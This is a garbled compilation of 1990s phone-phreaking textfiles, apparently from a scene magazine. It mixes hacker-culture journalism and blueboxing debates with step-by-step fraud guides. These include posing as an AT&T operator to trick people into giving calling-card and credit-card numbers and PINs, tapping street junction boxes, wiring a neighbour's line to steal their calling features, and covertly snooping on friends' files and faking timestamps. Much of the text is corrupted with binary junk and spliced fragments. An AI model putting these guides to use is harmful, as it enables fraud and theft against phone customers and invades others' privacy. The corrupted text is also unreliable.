arrest members of The Legion Of Doom, one of the most celebrated US hacker groups, on suspicion of having entered thecomputer systems of the Bell South company. Although in many cases no charges were filed, electronic equipment and discs were confiscated. things came to a head with Operation Sun Devil in May 1990, which involved 28 raids in 14 days; 42 computers and 23,000 discs were confiscateqd, many of which have never been returned. Government agents carried out dawn raids on teenage bedrooms across the US, confiscating calculators andanswer-phones. All quite comical. Except things began to get more serious. Raids became like precision strikes on terrorists and teenagers found themselves threatened with jail sentences for accessing computer systems with no password, copying files or just being vaguely mischievous. Their offence might have been no more than the elect^9K Travel Centre 899 411 "Number not complete" 899 412 "Number not complete" 899 413 "Number not complete" 899 452 No answer 899 453 No answer 899 454 No answer 899 455 MODEM (A+D Info line) 899 600 International Operator (New Zealand) 899 602 Home phone (Nice guy in japan) (ShitoShito Condor) 899 652 AT+T Offices 899 653 No answer 899 654 ETND 899 655 KDD (Japan) 899 656 Voice 899 661 MODEM/FAX 899 663 Voice 899 664 No answer 899 665 Voice 899 666 Home number (S__ingapore) 899 668 Home number (Singapore) 899 669 Home number (Singapore) 899 673 Home number (singapore) 899 674 Home number (Singapore) 899 676 Home number (singapore) 899 677 Home number (Singapore) 899 678 No answer 899 679 Home number (Singapore) (Lynn) 899 680 Home number (singapore) 899 681 MODEM 899 682 Home number (singapore) 899 685 Home number (Singapore) 899 730 Home number (Singapore) 899 731 Home number (singapore) 899 732 MODEM/FAX 899 736 Sensa Laser P`Ͽroducts 899 738 Kryptonite Locks 899 739 Tripple A 899 740 Andy? 899 741 Voice 899 742 Answer Phone 899 744 Voice (Japan) 899 746 No answer 899 747 No answer 899 748 ?????? 899 750 KDD Incorrect toll free number 899 760 CTC Operator 899 761 ASYNC (Need code) 899 763 No answer 899 764 CTC Operator 899 765 CTC Operator 899 766 No answer 899 767 FAX 899 768 "Not complete 216" 899 769 IMS 899 770 MODEM/FAX 899 771 Marquip 899 785 CTC Operator 899 787 CTC Operator 8ay99 788 CTC Operator 899 789 CTC Operator 899 790 CTC Operator 899 791 CTC Operator 899 792 CTC Operator 899 792 CTC Operator 899 793 ?????? 899 794 CTC Operator 899 795 CTC Operator 899 796 CTC Operator 899 797 CTC Operator 899 798 CTC Operator 899 799 CTC Operator 899 800 Voice 899 801 No answer 899 810 No answer 899 811 No answer ****************************************************************************** UK------------------------------------------------------bfU---------------------- 071 930 4832 Buckingham palace USA (010 1 + )---------------------------------------------------------------- 202 456 1414 White House 202 965 2960 WaterGate 212 724 9970 This is >ALWAYS< busy (Usefull if someone asks your tel #) 213 935 1111 !!Wierd Sounds!! 414 445 5005 Public Phone box (or so Im told) 619 748 0002/3 Loop line ND 899 655 KDD (Japan) 899 656 Voice 899 661 MODEM/FAX 899 663 Voice 899 664 No answer 899 665 Voice 899 666 Home number (S  magazine Datenschleuder in 1982. An article in the mainstream press stimulated interest and subscribers decided to set up the club. With home computing a minority hobby in Germany during the mid-'80s, the club couldn't really limit itself to one type of computer as a similar club in the States might do. Instead it cut across product loyalties and hobbyist pettines and brought together all computer users. Similarly, the club aimed to be as open-minded abouttheir activities. They  ,4[weren't just interested in swapping access codes and passwords. Instead Datenschleuder published informed speculation about the way information technology might develop. Realising that the majority of the public were unaccustomed to and in some cases frightened of, the new technology, they attempted to open up and demystify the computerised landscape. Alongside the regular magazine, they have published four books on computers and hacking, including the essential Die Hacker Bible O ne which reprints back copies of Datenschleuder and the first 50 issues of TAP (aka Technological Assistance Program), a magazine put together back in the '70s by phone phreakers (early tech-pranksters who gained free phonecalls with gadgets like Blue Boxes and touch pads). Like most hackers, the Chaos Club takes a critical stance towards the phone companies of the world. As in the UK, the Germans have to live with high prices for their phone services, something which has prevented  qthe growth of a network of computerised bulletin boards as in the US. In general, communications regulations are very restrictive in Germany. Something as simple as acquiring an extension telephone requires applications for permission, excessive paperwork and extra charges. In this area the club acts rather like a technoliterate consumer group, fighting to loosen the phone company's monopoly and open up the system's potential to ordinary punters. In many ways, the Chaos Club is de |terminedly respectable, at times more like a special interest pressure group than a hacking club. These days they're particularly concerned to distance themselves from what they see as irresponsible elements within the digital underground, perhaps because some of their members have performed some of the most notorious hacks in the past. Hackers from the Chaos Club bust into NASA's system in the mid- '80s. In addition, three years ago, it became apparent that some of the club's memWbers had hacked into Western military computers and tried to sell what they found to the KGB. This somewhat sullied the carefully cultivated image of openness and responsibility and the club has been through something of a crisis. More recently, confidence has picked up and the last two annual conferences have attracted around 500 hackers and other interested parties. These annual get-togethers have become much more than just illicit swap meets for Europe's computer intruders.

Haha.. what about breach of contract? Illegal use of the telephone system. Attempting to obtain telephone services fraudulently? There are many laws that cover it and people have been done for phreaking in the UK believe it or not. I personally served 24 hours comunity service for. Illegal extraction of electricty when I made some wiring changes to a BT junction box, now true i wasn't done for fraud, but I was ;#nonly 16 at the time so it would have been harder for them to do. Also note the recent case of the computer hacker who 'hacked the whitehouse' or whatever, well maybe you noticed that they busted 2 other hackers for attempting to obtain telephone services illegally. Well if you read the monthly clari.hacking usenet news group you would know that they have been made to pay for all the calls they made and also were given 6 months suspended sentence. And they pleaded guilty. I don't > 5/ Ok so they know you are boxing and they cant take you to court and they >>cant bill you so why dont they stop you from boxing i hear you say, >> Well it's like this.... >> You dial 0800 then send the break tone t=T/o make the call well it's up to >> the country or system renting the 0800 number to put a filter on their end >> of the line to prevent you from doing this not BT is only providing a >> number and a line to them what happen's after this is up to them.... No. In the case of the old type of bluebox this is true, and happened after about 5-6 months or so, but as I have already explained YOU ARE NOT BLUEBOXING THROUGH THE COUNTRY YOU ARE CALLING, YOU ARE BOXING THROUGH BT!!!! Doesn'>g;t it strike you as odd that all bluebox numbers are identical? That the delay is the same? The line quality the same? That existing bluebox numbers could be broken with two sets of tones (ICELAND for example) If you used the R2 tone set on Iceland you could call global, but if you used the standard CCITT 5 tone set you could only call the states? Strange eh? And then when ICELAND killed their blueboxing you could still use the second tone set? It is not possable for a country t?F=o use both tone sets. So does this not prove that blueboxing in the UK is from the UK? Try dialing route assistance in NewYork? (If you know how) and ask them what country you are calling from.. they will tell you its the UK. Try off different bluebox numbers 057 056 etc and you will find they tell you you are calling from the UK and not from chille or columbia. Is this not proof enough? This does show me that people using the current UK bluebox are really not phreakers they o@Only know the system they have at the moment and do not know what has happened in the past. Ask a real phreaker if you want the facts. FINAL WORDS: I'm not saying I've been billed for blueboxing, I'm not saying stop it now. I'm not selling cards. But I think that people should know the facts. And I think that it is very lame to write text files about things that you cannot prove or even understand. I don't know exactly what BT are doing, but I knAGCow for a fact that when it becomes public (like it has now) that people are abusing the phone system, the method ALWAYS dies and people are always caught. Look at blueboxing in Germany and France for examples. So if you don't want to get busted, then don't use something so close to home, use something thats not owned by BT, use credit cards or calling cards as no-one gives a shit about them, + you can call globally and not just to the states. >> BH! Signed:Shad/EP >> See i aint scared to put my name under a text file.. Well Shad, I don't know you, I havn't heard of you, but if you want to talk to me then you can mail me on Eleventh hour - Dawn of Eternity - Digital Candy - Bad Dreams - Concepts Elite - Kin Madness & Dawn-Raid. Likewise anyone else who wants to sensibly discuss this subject can do so as well. You can release another text file saying I'm talking shit, but I can prove everything I've writteC<>><><><><><><><><><><><><><><><><><><><><><><><><><>E+Dsed almost every method to phreak. I used a blackbox years ago, then I moved onto system hacking/pbx's then I started blueboxing, then I started to set up system 75 pbx's and now I just buy my cards. Phreakers might consider what they do is an artform and that buying cards is lame. But in my opinion its much less hassle. I hear a lot of talk about blueboxing, people saying they have been billed and people saying they are talking shit. Well heres what I think. I'm only quoting faFq&cts here. I've quoted a typical article below (the most recent) and I've added my own comments as to why I think that the general opinions about UK blueboxing are myths. The facts I have collected are from my experience of phreaking and blueboxing in general. I should point out that I havn't used the UK bluebox for some time now as I just like to use cards in my term. I only use it occasionally for voice calls when my data line is dialing and I don't want to double bill my cardz.GJG quoted sections are marked with >> >> REPLY TO BT >> I have never heard so much bullshit in all my life ok you want fact's then >> read on???? >> BT although responsible for the correct use of 0800 numbered call's >> cannot bill you for a boxed call made on them the reasons for this are as >> follows >> 1/ Once you have dialled 0800 you are under another countries billing >> system and not BT Simply not true. In the case of the older bluebox methods used in the UK about 2 yeH 4ars ago where you actually had to break the lines of the remote country and then call on to another country. So the call was routed to the country of the 0800 number you called and then back to wherever you called. In this case this would be true, however the current blueboxing system that everyone is using does not work on this principle and I can prove this. Heres how If you were dialing into a country breaking the lines and dialing out on another trunk then you would use KP2 CIzYDC 0 ACN ST the KP2 indicates the international route. Expereniced blueboxers will know that using a KP1 (sometimes called KP0) will allow you to dial internal numbers in the country using the format. KP1 0 ACN ST Now try this on the UK bluebox... As soon as you dial the KP1 you get the OTC block tone (or similar) This is because as some intelligent person pointed out. The call is simply not going to the foreign country, when you break the line you break it at the UK end, not atJj tI the remote end, so you are still in BT's system. Therefore an internal country dial (KP1) wont work because the internation exchange is not able to route calls nationally. Try dialing 01044 ACN for an example. Further evidence is the recent replacement of the OTC tone with the 'dial 155 for assistance message' now in my years of phreaking I have never heard on any country any voice message when invalid tones were received because the system is automated and so there would be no-oKa<ֲne to hear such a message. You will also notice that when you break the line if you blow into the phone the delay is very short and not long enough for an international call to the country and then back again. >> 2/ 0800 billing does not show up on your bill unless you make a 3 way call Well it is a fact that EVERY call you ever make even every digit you press on your phone is recorded these days. (older areas may just store the numbers dialed) You may remember a few years back  LBT were selling magnetic tape of local exchange logs from 1960 as collectors items. So even then EVERY call was logged. Just because BT don't itemise it on your bill it doesn't mean they don't have it in computer. Do you think their switching system is so old it doesn't even know it is being used. The uk no longer uses this archaic method of inward signalling. Get a grip. (incidently I have had 0800 numbers on my bill, maybe they think I might want to know which ones I call bec MQause I call so many!) (Oh and they also sometimes itemise calls that last for only 5 minutes local and cost like 3p. so their itemising system is fuck all to go by!) >> 3/ People say BT know you Box>> well of course they do they have known its >> been going on for over 20 odd years. You would have to be as lame as D Man >> to think otherwise. I should think they do, I couldn't say, but the point is do they care. Look at it as if you were in charge of deciding whether to stop it. Nś Heres the questions you might ask yourself 1) Is it affecting our revenue -- no, because the calls would not be made in the first place, I mean how -- many people would call the states all day if they had to pay? 2) Is it affecting our image -- Until recently the answer to this question was no because it was unknown -- to the public, but when a recent program showed flaws in BT's system -- I expect they would be reconsidering this.

You dial 0800 then send the break tone to make the call well it's up toYZ the country or system renting the 0800 number to put a filter on their end of the line to prevent you from doing this not BT is only providing a number and a line to them what happen's after this is up to them.... Well i hope this helps put your mind at rest.... Heres a message to the shit spreading the rumours..... If you have been done by BT for boxing then why not scan your bill and show all..

O-k,enough your saying,but how do we call the statez free.So wkQ assuming you have already got the file RoxBox and have already edited you comms startup-sequence to load it up automatically,this is how. 1)Press these keys in sequence,'CTRL,SHIFT,ALT,ALT'. 2)Change the Country to call Australia. 3)Enter the number you wish to dial. 4)Dial either 0800-890-056 or 0800-890-808. 5)Just before you get answered press 'ESC'. 6)The line should have clicked and gone quiewlt? 7)If so,then press the key below 'ESC' and that will dial. O-k,that is the list of instructions,just a few pointers.Try to sieze the line ('ESC') before you get an operator on,it does'nt matter but try to anyway. Use a good set of headphones placed over the mouthpiece,to ensure success every time!.

This paranoia, although not justifiable, is largely attributable to the TV program "Walk On The Wild Side" broadcast a few weeks ago. Several texts have been spread which have caused a lot of panic. This is hardly surprising when it is considered that boxing is a SERIOUS crime in the eyes of the law, and if caught it is poszMSsible a boxer could end up in prison. Most texts have been by paranoid phreaks stating their worries. However, the full TRUTH about boxing has not been stated in any text I have yet seen. The most convincing text so far is probably the file "bt-bust.txt". I must admit this text had me worried for a while, but upon close inspection it seemed to be, as all the others have been, a fake. I must state at this point that I am NOT a phreaking expert, I have not been boxing for years, buz =t I have looked at some of the texts that are circulating at the moment and I have something to say about them. WHAT IS BLUEBOXING? ---- -- ----------- Yeah, you know what it is, but why does it work. BT haven't accidentally left a bug in their phone system which we can all exploit. The frequencies we use to break the lines are also used legitimately by the operators of all the global telecommunications firms. This enables operators to make vital calls acroz}esss the world and to link up other calls. Therefore, if BT charged your calls every time a certain frequency was sent down the line all the operators would be getting extra bills too and they wouldn't be too happy! Also if BT charged the 0800 numbers then UK callers legitimately phoning abroad would be charged. One thing BT will NOT do is charge calls. F.A.S.T CO-OPERATING WITH BT?!? ------- ------------ ---- ----- The file "bt-bust" claims F.A.S.T. are co-opezERSrating with BT. Well, F.A.S.T. are directly funded by the UK's software publishing firms such as Ocean, Gremlin, Mindscape and all the rest. BT do NOT fund F.A.S.T., so if F.A.S.T. were to co-operate with BT in tracking blueboxers the software companies who fund F.A.S.T. would be VERY unhappy, they fund F.A.S.T. to combat software piracy, not phone fraud. The file "bt-bust" also seems fake in several other respects. Why does it quote from a BT publication published in 1992? Surelzĭy BT themselves would use more up to date material. Why does the author go to such lengths to explain Thailand's line upgrading programme? And why can the author not spell Thailand!?! "In spite of tight restrictions imposed on us by OfTel we are the countries number one telecommunications operator." Hmmmmm, does this sound like the language of a corporate security department to you? Throughout, the document lacks the formality that would be expected. If BT had taken such precautions zI would have expected to have seen some leaked information first, found out by some cunning hacker, rather than JUST the statement from BT. Why do BT tell us that it was once possible to box over UK lines? I would have thought that most phreaks would know this, and I can't see why it is relevant anyway. I believe this file has been written by somebody with a great deal of intelligence and a knowledge of the UK phone system with the intent of scaring boxers into stopping boxing. Szz?o, who would spread such a file from within the scene? There are the pathetic no-hopers who get their kicks out of scaring away other phreaks but I don't think this is one of them. Think about it. If a dedicated UK phreak was to stop boxing, but wanted to continue phreaking what would he do? He would switch to calling cards. This means more business for the card suppliers, and this means more money. This may not be the explanation but both card suppliers and phreaks who enjoy frightez ;8ning people would both LOVE to see stories like this. Use your brain. Analyse the texts you see and think about them. Also look for those which are named. Most anti-boxing files are not named. So, who creates them? Why don't they tell us who they are? Okay, that's it for now, have a think about this text, I'm not saying I'm right, I could well be VERY wrong, but I just want to tell the other side of this story and remove some of the fear and paranoia amongst UK phreaks at the momz Rv~ɵent.

So then you have mastered the art of Blue-Boxing? If not then do so before attempting the next exercise. In this text file I will descibe how to obtain and use calling cards as a means on calling globally. O-k,the first things first.Randomly dial a number in the US,until you come across one that one-one answers.Then take a note of the number.Then cho. Oose a number close but not to close to that number and do a scan of that number upwards. e.g If i find that no-one is answering at 212-744-888,then start the scan from 212-743-111. Once you have started the scan,then you start to Bullshit and obtain AT&T,MCI,SPRINT,etc,etc cards.O-k what you do when some-one answers the phone.Say you are an AT&T operator with a collect call from,and mention the numer that no-one is answering,this uDשsually gets out of the problem with the name.If they persist and ask for a name,say hold on a second I'll find out.Then come back a few seconds later and say the only information you have is that their name is John,everyone knows some-one called John.Then say they are placing the collect call via an automated machine and it only records first names and the number they wish to dial.This usually gets 3 out of 5 people to say yes the'y'll except the call.Then say thankyou,putting you through.Wait a couple of seconds and then go back and say,sorry about this sir/maddam but I am having trouble billing the call direct to your home phone-number.Say they have collect call barring.Then say I can bill it direct to a calling card and mention AT&T,MCI,SPRINT.If they say they don't have any of them,say as a last resort you can bill it direct to an American Express Card.If you 46get an American express card,GET THE FOUR DIGIT PIN as well.you need that to use it as an MCI card.But if you get one of them then your in luck as they last about 2-3 months!!!!!. O-k if you get a card number and pin,write down whatever they say is there card,An AT&T is usually the phone number you just dialled and a 4 didit pin.So if they don't believe you are who you say you are,then just say sir/maddam I don not need you full carC *Td number as I have it in front of me,I just need you Pin number to validate you are the owner of the Card.They they give you the Pin,but to be safe,check the whold card number and pin with them again. Once you've got it,DO NOT hang up.Give them some bullshit that the other party has Hung-up or that the card doesnt validate.Try not to use the latter as they usually want to know why and check up straight away.Tell them that if the oth09}er party rings up again,the call will go straight through,billing the card they've just gave you.And that should keep them happy...... The number for using AT&T,MCI and SPRINT are: 1)0800-890-011 or 0800-890-116-130 for AT&T (Computer) 2)0800-890-222 for MCI (Operator) 3)0800-890-877 for Sprint (Operator) 4)0500-800-800 for Sprint Global(20 Digits!) (Operator) Hints and Tips: If you s get a Bell-atlantic card,or North-western bell,in fact any card like that will work on the AT&T network . Try to use an American accent when bullshiting poeple.Be friendly and Sorry that the call has'nt gone through.Well thats about it.....Laterz... ____ / /__ __ ___ ____ / /_ &wI/ /_/ /__ / ____/ / / / / / / PoWeRaDdIcTs/CoRe/ViRgIn py......

Have you heard of something called greyboxing ? We have. Actually we discovered it a coupple of days ago and it's quite simple to do. All you need is: Some guts, a phone and one grey(may be green) big locker. You'll find one of these out in the street. I'm sure you've seen many of thel4m in your life since they are on every street corner. If you don't know what kind of lockers I mean, I can tell you a little bit about them. Usually they are grey(at least they are grey in norway), big and if you're lucky, the phone company has written it's name on it. 1st step: Open the locker! This may be a bit difficult if you're not a trained lockpicker. The lock usually consists of a square located inside a circle. There is about just enough room between the square and the circle to squeeze in a tool that can open it for ya ! If the lock has a triangle inside a circle, don't open it ! 2nd step: After you've opened the locker, you'll see lots and lots of tiny wires. Probably the wires will start in the ground and end in a little connection unit. Usually it looks like this: |*|*| |*|*| |*|*| |*|*| |*|*| |*|*| ----------------------------------- |*|*| |*|*| |*|*| |*|*| |*|*| |*|*| *=screw Each pair o8`f these screws represent one phoneline, so if you take your phone and connect the wires to these screws, you can use your phone. 3rd step: Allways remember to check if you should have been so unlucky to choose your own phoneline. This is done by calling your own number and if it's not busy, someone else is paying for your call. 4th step: Call around and have phun and remember: DON'T GET CAUGHT ! Remember that this is highly illegal ! There is about just enough room betw/b3210/.CBA@?>=<;:9NMLKJIHGFED63morebt2pWjx* REPLY TO BT>> I have never heard so much bullshit in all my life ok you want fact's then read on????

Its on a computer. And that computer is connected to a global network. Who's going to stand up for our civil liberties in the digital era? Can the anarchic activities of hackers and cyberpunks make them freedom fighters for the information age? Cyberspace, the Net, Non-Space, or the Electronic Frontier call it what you will, but it's out there now, spread across the world like an opulent immate4 :rial spider's web, growing as each new computer, telephone or fax machine is plugged in, as satellites close continental divides, hooking independent phone systems together. Its almost a living entity - the backbone is the various telephone exchanges, the limbs the copper and fibre-optic links. Increasingly the world is shifting to this unseen plane. Your earnings, your purchasing patterns and your poll tax records are processed there. You may not realise it exists, but its part ob;f everyday life. As John Barlow, writer and electronic activist puts it, "Cyberspace is the place you are when you're on the telephone." As life moves to this electronic frontier, politicians and corporations are starting to exert increasing control over the new digital realm, policing information highways with growing strictness. Before we even realise we're there, we may find ourselves boxed into a digital ghetto, denied simple rights of access, while corporations and governmentHTs agencies make out their territory and roamfree. So who will oppose the big guys? Who's going to stand up for our digital civil liberties? Who has the techno-literacy necessary to ask a fewpertinent questions about what's going down in cyberspace? Perhaps the people who have been living there the longest might have a few answers. You could argue that hackers have been the most misrepresented of all sub cultures. In the mainstream press they've been cast as full-blown electroniac folk devils, either dangerous adolescents and electronic vandals or malevolent masterminds in the pay of organised crime or evil foreign powers. Others have tried to put forward a rather romantic view of hackers as freedom fighters for the information age. And the cyberpunk media industry that grew from William Gibson and Bruce Sterling's science fiction has mytholised them as digital rebels, computer cowboys. The truth is more complex. As more and more people explore cyberspac'qe, its becoming harder than ever to make generalisations about a hacker ethic, to even figure out what hackers are doing and why. All you can say is that between them they have created a genuine digital underground, an electronic Bohemia where diverse subcultures can take root, where new ideas, dodgy tech and weird science can flourish. In Europe, the centres for hacking activity are Germany, Holland and Italy. UK hacking remains relatively stagnant and disorganised. In part its E?Evdown to the relatively high cost of computers and telephone calls. In part its down to a difference in attitude. It seems typical that the most famous hack in Britain came when two hackers broke into Prince Philip's electronic mailbox. As Andrew Ross points out in an essay on the subject in Strange Weather, hacking in the UK has a quaint, "Little England" air about it. Hugo Cornwall, author of The Hacker's Handbook, has compared hacking to electronic rambling and has suggested Tb;developing a kind of Country Code for computer ramblers. Its all very benign, a matter of closing gates behind you, respecting the lands you cross and never ignoring the "No Trespassing" signs you might encounter. As Ross says, this amounts to a kind of electronic feudalism, with digital peasants respecting the inherited land rights of information barons and never asking bigger questions about property, state surveillance and the activity of corporations and governments. The Euro ΟVpeans tend to take a more politicised, sceptical stance. The focus for most hacking activity on the continent is the Hamburg-based Chaos Computer Club, which organises meetings, lectures, publishes magazines and books on the politics of information and holds an annual conference which usually draws hackers from around Europe. The club, who's motto is "access public data freely while protecting private data firmly", was formed by Wau Holland after the publication of the A5 hacking H|j21FEDCBA@?>=<QPONMLKJIHG\[ZYXWVUTSRgfedcba`_^]rqponmlkjih}|{zyrKPhreakMManualp+THE GREAT PHREAK CONSPIRACY BY LEMUEL Its a famous story in the Computer Underground: In the mid-1960's Cap'n Crunch breakfast cereal "accidentally" gave out 2600Hz whistles as a "promotion," instantly introducing a generation of phone phreaks to easy blue boxing and giving John Drapier his now-infamous psuedonym. However, when one does more research, it becomes apparent that this is, in fact, part of a larger conspiracy to provide assistance to phone phreaks everywhere. Some ; incidents previously suppressed by the media involving food products include the following strange events: As early as 1943 canisters of Quaker Oats were discovered which contained packets of the Icelandic five aurak coin, ostensibly for numismatic purposes. A helpful note on the package reminded kids that "five aurak coins not only help teach you about money and the different cultures of the world, but they can also be used in pay phones in place of dimes. Wilfred Brimley could n$ot be reached for comment. In 1955 a young New Jersey boy was seriously injured after playing with a device given away free in boxes of Malt O'Meal: a urine box. Apparently he had dialled the local ringback and set the dial to "kill," thinking that it was just a joke. His parents threatened to sue the company, but settled out of court for an undisclosed sum not before BellCo had secured a promise from them to keep quiet. In 1960 a Swanson's frozen dinner consumed by an Ohio house|9wife allegedly contained a Salisbury steak branded with a strange ten-digit number. After several days of pondering this mystery her husband suggested that it might be a phone number; quickly calling it up, she found to her surprise that it was a prototype Bell REMOB line. Other purchasers of Swanson's dinners around this time reported finding "a piece of chicken stamped with the President's private phone number," "a clump of mixed vegetables who's corn spelled out a local PBX ind~!ial," and "a brussel sprout that looked remarkably like Elvis." A 1976 promotion by Kellogg's Honey Smacks involved a free giveaway of a lineman's test set in every box of cereal. While strange in itself, even more strange were the cartoon panels on the back of the box which showed kids how to "have hours of fun playing 'let's find the junction box'." A recall was ordered because of public outcry stemming from the horrible deaths of several young children who electrocuted themselv-wes after tapping into power relays. In 1981 a man who choses to remain anonymous discovered an AT&T calling card sandwiched between two strawberry Pop-Tarts he was about to toast. He quickly called AT&T, who insisted that they had no such card number on record. Later that day the man called a relative in Germany from a pay phone using the card and discovered that it was, in fact, valid. To this day it still works without a hitch. Who is picking up the bill? In 1984 Fruit Loops Dgave away a free 6.5536MHz crystal in every box of its colourful, sugary breakfast cereal. This may be dismissed as coincidence, but consider that a small coupon on a side panel offered: "Free Radio Shack Thirty-Three Number Memory Pocket Tone Dialler! Send this coupon and thirty UPC symbols..." In 1988 boxes of Kellogg's Frosted Flakes were distributed with small electronic devices of unknown origin and function. On the rear panel Tony the Tiger was shown with one "King Blotto" discussing how you should "show Ma Bell you're a tiger" and connect the device to a phone and an electrical outlet and "make all of the phones blow up." Strangely enough, the first boxes containing this promotion were distributed in New York only days before AT&T suffered a massive failure of its long distance network... Later that same year a box of Count Chocula was found by a young hacker in Seattle which had a UPC code mysteriously corresponding to the unlisted phone number of  #8Zthe 206 CNA office. Other boxes were later found to have bar codes which were actually numbers to PBXs, 800 extenders and Northwestern Bell UNIX systems. A shocked mother in Bellview discovered that the bar code on her son's box of Frankenberry exactly matched her AT&T calling card number and PIN. Pure chance? Unlikely. More ominously, a Chicago-area hacker recently discovered a "professionally- made" FM bug in a package of Jimmy Dean Country Sausage. After hearing of this inci -dent it dawned upon me that breakfast cereals might just be the tip of the iceberg. Using my "inside connections" I was able to gain access to a recently declassified CIA docket including the following information: According one document in the file, on May 17, 1990 a 23-year-old shopkeeper living in Bombay, India bit into a "small, metallic object" while enjoying some vegetable chutney. This object was later discovered to be "a critical junction element from an ESS7 switching systHxYPONMba`_^]\[ZYXmlkjihgfedcxwvutsrqpon~}|{zycKMALL-BOXpʜğ The Official phreakers manual V2.0 Special updates and text changed by Kooky/Calypso 27/3/94 Special regards to Kei/cyberdreams This cleanup and new updates took me a whole day! Introduction What precedes this introduction is what I have termed "The Official Phreakers Manual", while it may not be. Many times I have been on a BBS, which has files claiming to have summed up all the ways to phreak in the U.S. and abroad, well those were pretty lame and a couple pages long. Now after many relentless hours of work, I have done it. This is an informative file and the authors of this and the authors from which I have gathered information, take absolutely NO responsibility and are not liable for, under any circumstances for damage, direct, indirect, incidental, or consequential. Warning: Use of this material may shorten your life in the free wiorld! Ok enough of the bullshit, I readily admit that this is mainly a compilation of available phreak material and public resources. What I have done is to gather it all together and edit, compile, check for errors, put in a readable form, and finally to write what I know without echoing what others have said. I have set this up that it is good for all levels of phreaks, going from novice to advanced, and references and tables for easy reference in the back. This manual is O constantly being updated! If you have any contributions or corrections or comments, please leave messages to me (Jack the Ripper) on any BBS's I am on (probably where you got it). Thanks!

Create a file "S:DeluxeCC.prefs" containing your dial prefix like atdt or atdp for digital or pulse calling, your local AT&T number and your Calling-Card Number.well if got more than one CC, type all CCs in the File, the uppermost CC will be used by DeluxeCC. So if you notice that your CC is not valid, just delete the first line, save the file, and you are ready fto again!. 3. You can run that util with menu of Ncomm called "Script" or press Amiga-F.and select the DeluxeCC.script. When the Script starts, it asks you for the number you want to dial. Type number and select okay or press return.And follow the commands. Example for DeluxeCC.prefs, atdt 00800XXXXX 41657729401438 42245675657520 So you see,information about prefs lines: dial prefix (atdt or atdp) local telephone company number First & active Callin-card number. Se1cond & inactive Callin-card number. . . . Well, here is the hint for using that script. Copy the file "DeluxeCC.script" to "S:scripts/" and select macrokeys from menu (Amiga-M).So define a F-key to: {script}s:scripts/DeluxeCC.script well, you can run the DeluxeCC with one touch. I hope you like DeluxeCC. So again the thanx goes to Aliex of Mystic for idea about CC dialer.8) ----------------------------------------------------------------------------- ------------------"es?KvUkSTDpv*********************************************************** * MEMBER NAME: ACRYLIC * * *********************************************************** `/`\`/`\`/`\`/`\`/`\`/`\`/`\`/`\` |-------Acrylic Box Plans-------| | \----------------/ |  | \______By______/ | | | | [ The Pimp ] | \_______________________________/ Call: /\/\aharaja's Hi-Times 10 Meg BBS C/F 600+ G-Files (7 0 2) - 8 3 2 - 7 4 6 9 \/--------------x_a---------\/ || A High Mtn. Hackers || || Presentation || /\-----------------------/\ Ok the purpose of this box is to get Three-Way-Calling, Call Waiting, programmable Call Forwarding, and an easier way of extended Bud Boxing ALL for FREE. Materials: 1) Wire stripers 2) Couple Feet Wire 3) AT&T/BELL Can 4) Hex Wrench Idea: Ok the idea of this box ?Nis to get all of the above features by stealing them from the fortunate ones on your block. Procedure: Step 1) Find AT&T/BELL Can that is being used to service you surrounding area. Step 2) Open can with Hex wrench. Step 3) Find your line and another persons line who has 3-way, Call (waiting/forwarding), if the # of all the lines are not listed in the box you will have to use your local ANI to find them. Step 4) Once you have found the lines then wirZe the (Black & Yellow) wires on the victims line to the (Black & Yellow) wires on you line (Be sure your phone at home uses all 4 wire as some of the cheap phones don't). Step 5) Then disconnect the victims (Black & Yellow) Wires, resulting the the loss of these features to their line ( you mat want to leave these wires connected, this may or may not cause problems I haven't tried it that may yet) . Well That Sums It Up! Procedure for easier extended B2$ud Box. If if for some reason your line is disconnected, or you just want to use hook someone's line to your line for fearless phreaking follow the procedure below. Ok Go to the local can and find a line that is used by weekend visitors or a summer/winter home, and hook their (Red & Green) Wires to your (Red & Green) Wires, and your off into the fearless world of phreaking ( i recommend you phreak from these line, so that the owners don't get uptight and look inmto the matter), unless of course you are doing it for revenge! Some Suggestions: Take a Bud box Along to do a ANI just to make sure you have the right line, also in some cases you will have to switch between the (Red/Green) (Black/Yellow) or any other combination if your area has changed the standard format which id very unlikely.

A data snooper may be defined as one who examines friends' personal, private data while they are not looking. Most users could probably be labeled data snoopers at one time or another. The problem is, many friendmXas are made aware of data snooping activities on their system, either by catching the snooper in the act, or by finding traces of an invasion. Therefore, some public education is necessary to ensure the continuation of this enriching activity. During a "local" snoop, one must be on the alert for the return of the data's owner. If the snooper hears the return of the owner, he should act quickly to appear innocent. Here are several methods : 1) Set up a multi-tasker, and switch tonY/ an innocent partition.Caution : The owner may notice a lack of memory, or may switch to the incriminating partition. 2) Call a memory-resident pop-up screen. Programs such as BOSS-SW.COM zip a bogus spreadsheet on the screen. Problem : you may have a hard time explaining your activity, particularly if you are using the owner's computer and he does not have a spreadsheet program. 3) Turn the screen off. Not very effective if the owner turns the screen on again. oZ?!4) Reboot. This may be accomplished by "accidentally" tripping the power switch, or making an excuse for rebooting, such as a need for "fresh RAM". If the owner has keen eyes, he may thwart a snooper with a time/date stamp. Some programs automatically create or update files during execution without the user's permission. The snooper's best bet is to avoid these programs, or write- protect the disk. A hard disk may even be write-protected with the use of a trojan horse detectop[5D~r called "BOMBSQAD", which prompts the user for instructions every time a disk-writing attempt is made. If a time-date stamp is actually updated, and looks suspicious, the snooper may change it using Norton's utilities, or a special date-changing utility. He may also delete any newly created files. Of course, a data snooper should NEVER modify the owner's files. This would be the equivalent of cutting the balls off the gander that laid the goose that laid the golden egg. Surely q\f3the snooper would gain much more from repeated instances of data snooping than a few moments of revenge or tease. Remember : Data snooping can be an enriching, exciting activity, if approached with an attitude of maturity. ķ ) Written by Lee Day for Abstruse Authors of Merca ( Ľ ======================r]VҬ===================================+==================== As another issue of 2280 Magazine draws to an end, we must thank you for your interest in this Magazine, and please feel free to distribute it if you feel it would be appropriate.

